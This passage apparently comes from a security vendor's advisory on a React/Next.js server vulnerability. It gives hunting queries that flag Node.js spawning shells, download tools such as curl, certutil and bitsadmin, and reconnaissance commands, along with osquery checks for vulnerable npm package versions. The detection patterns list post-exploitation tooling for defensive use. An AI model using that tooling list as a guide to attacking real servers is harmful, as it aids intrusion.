eventSubId:2 AND (parentFilePath:"/node" AND (processFilePath:"/sh" OR processFilePath:"/bash" OR processFilePath:"/dash" OR processFilePath:"/busybox")) AND (objectFilePath:"/cat" OR objectFilePath:"/head" OR objectFilePath:"/tail" OR objectFilePath:"/more" OR objectFilePath:"/less" OR objectFilePath:"/base64" OR objectFilePath:"/perl" OR objectFilePath:"/python" OR objectFilePath:"/ruby" OR objectFilePath:"/node" OR objectFilePath:"/java" OR objectFilePath:"/nohup" OR objectFilePath:"/screen" OR objectFilePath:"*/busybox")
Note: These queries will likely find false positives. It should be verified what the normal node process chain looks like on an environment-to-environment basis.
Windows Hunting Queries:
- NodeJS Spawning Execution and Scripting Tools - Windows
eventSubId:2 AND parentFilePath:"*\node.exe" AND (processFilePath:"*\cmd.exe" OR processFilePath:"*\powershell.exe" OR processFilePath:"*\powershell_ise.exe" OR processFilePath:"*\pwsh.exe" OR processFilePath:"*\wscript.exe" OR processFilePath:"*\cscript.exe" OR processFilePath:"*\mshta.exe" OR processFilePath:"*\rundll32.exe" OR processFilePath:"*\regsvr32.exe" OR processFilePath:"*\msiexec.exe" OR processFilePath:"*\wmic.exe" OR processFilePath:"*\reg.exe" OR processFilePath:"*\schtasks.exe" OR processFilePath:"*\sc.exe" OR processFilePath:"*\certutil.exe" OR processFilePath:"*\bitsadmin.exe" OR processFilePath:"*\curl.exe" OR processFilePath:"*\wget.exe" OR processFilePath:"*\ftp.exe" OR processFilePath:"*\tftp.exe")
- NodeJS Spawning Reconnaissance and Network Tools - Windows
eventSubId:2 AND parentFilePath:"*\node.exe" AND (processFilePath:"*\whoami.exe" OR processFilePath:"*\quser.exe" OR processFilePath:"*\hostname.exe" OR processFilePath:"*\systeminfo.exe" OR processFilePath:"*\ipconfig.exe" OR processFilePath:"*\nslookup.exe" OR processFilePath:"*\netstat.exe" OR processFilePath:"*\ping.exe" OR processFilePath:"*\nltest.exe" OR processFilePath:"*\tasklist.exe" OR processFilePath:"*\taskkill.exe" OR processFilePath:"*\net.exe" OR processFilePath:"*\net1.exe" OR processFilePath:"*\findstr.exe")
Note: These queries will likely find false positives. It should be verified what the normal node process chain looks like on an environment-to-environment basis.
Trend Vision One™ Forensics
Trend Vision One™ Forensics automates digital evidence collection from endpoints, organizes collected data within workspaces, and quickly triages endpoints using YARA and osquery.
- Check npm packages for vulnerable versions of NextJS deployed
SELECT name, version, directory, path
FROM npm_packages
WHERE name = 'next'
AND ( (version LIKE '15.%' AND version < '15.1.3') OR version LIKE '16.%' OR version >= '14.3.0-canary.77');
- Check npm packages for vulnerable versions of ReactJS deployed
SELECT name, version, directory, path, description FROM npm_packages
WHERE name IN ( 'react', 'react-dom', 'react-server-dom-webpack', 'react-server-dom-parcel', 'react-server-dom-turbopack' )
AND ( version = '19.0.0' OR version IN ('19.1.0', '19.1.1', '19.2.0') );
Indicators of Compromise (IoCs) and Detections
The IoC and detections list can be found here.